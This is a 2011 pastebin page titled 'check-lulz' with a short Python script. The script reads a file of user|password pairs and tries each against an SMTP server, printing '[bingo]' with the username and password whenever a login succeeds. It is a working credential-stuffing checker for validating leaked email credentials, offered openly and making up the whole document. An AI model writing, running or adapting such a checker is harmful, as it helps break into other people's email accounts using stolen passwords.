Guest

check-lulz

By: a guest on Sep 9th, 2011  |  syntax: Python  |  size: 0.91 KB  |  hits: 116  |  expires: Never
download  |  raw  |  embed  |  report abuse
Copied
  1. import smtplib
  2. import sys
  3.  
  4.  
  5. if (len(sys.argv) < 4):
  6.         print(sys.argv[0] + " usage: python " + sys.argv[0] + " <credentials.txt> <smtp.example.com> <port> " );
  7.         print("You should check the format of your credentials file. ");
  8. else:
  9.         f = open(sys.argv[1], 'r')
  10.         for line in f:
  11.  
  12.                 mail_user = line.split("|")[0]
  13.                 mail_pwd  = line.split("|")[1]
  14.                 try:
  15.                         smtpserver = smtplib.SMTP(sys.argv[2], sys.argv[3])
  16.                         smtpserver.ehlo()
  17.                         smtpserver.starttls()
  18.                         smtpserver.ehlo
  19.                         smtpserver.login(mail_user, mail_pwd)
  20.                         print ("[bingo] username:" + mail_user + " password:" + mail_pwd)
  21.                 except smtplib.SMTPAuthenticationError:
  22. #                        print ("Fail:" + mail_user)
  23.                          pass